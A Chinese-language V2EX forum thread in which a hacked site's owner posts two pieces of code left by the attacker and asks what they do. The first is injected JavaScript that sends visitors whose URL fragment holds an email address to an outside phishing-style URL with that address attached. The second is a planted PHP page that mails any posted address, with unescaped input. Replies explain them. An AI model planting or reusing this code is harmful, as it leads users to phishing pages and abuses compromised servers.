V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
cquyf
V2EX  ›  程序员

网站被黑,请教下大佬恶意代码的作用

  •  
  •   cquyf · 2020-02-05 14:50:47 +08:00 · 2241 次点击
    这是一个创建于 1535 天前的主题,其中的信息可能已经有所发展或是发生改变。
    一个网站被黑( https://virmach.net/ ),目前已经恢复,问下各位大佬,黑客留下的一个代码如下:

    <script type="text/javascript" >
    function validateEmail(email) {
    var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
    return re.test(email);
    }
    var hash = window.location.hash.substring(1);
    if(validateEmail(hash)) {
    window.location = "https://rpsalaw.com/Fex/?email="+hash;
    }
    </script>

    请问这个代码是用来干什么的?
    4 条回复    2020-02-05 16:16:52 +08:00
    maichael
        1
    maichael  
       2020-02-05 14:52:27 +08:00
    判断到 url 的 hash 参数里面如果是一个邮箱地址的话就跳转到 rpsalaw 这个网站。
    cquyf
        2
    cquyf  
    OP
       2020-02-05 15:08:22 +08:00
    @maichael 还有一个恶意文件 Test.php ,代码如下:

    <?php
    error_reporting(0);
    echo '<head>
    <title> Email sending tester</title>
    </head>
    <body><b><color> Email sending tester</color></b><br>Write your email and click on send email test<br>
    <form method="post">
    <input type="email" name="email" style="background-color:whitesmoke;border:1px solid #FFF;outline:none;" required="" placeholder="[email protected]" value="' . $_POST['email'] . '">
    <input type="submit" name="send" value="Send Email Test" style="border:none;background-color: #65d05e;color:#fff;cursor:pointer;">
    </form>
    <br>
    </body>';
    if (isset($_POST['email']))
    {
    $rnd = rand();
    mail($_POST['email'],"Email Sending Test Report ID: " . $rnd ,"WORKING!");
    print "<font color=orange><b>Email Sent To: " . $_POST['email'] . ", Report ID: " . $rnd . "</b></font>";
    }
    maichael
        3
    maichael  
       2020-02-05 15:20:40 +08:00
    @cquyf #2 也没干啥,就发邮件而已,估计是拿你网站练手了。
    cquyf
        4
    cquyf  
    OP
       2020-02-05 16:16:52 +08:00
    @maichael 那就好,非常感谢大佬。小站也有黑客光顾,哈哈
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1009 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 25ms · UTC 19:05 · PVG 03:05 · LAX 12:05 · JFK 15:05
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.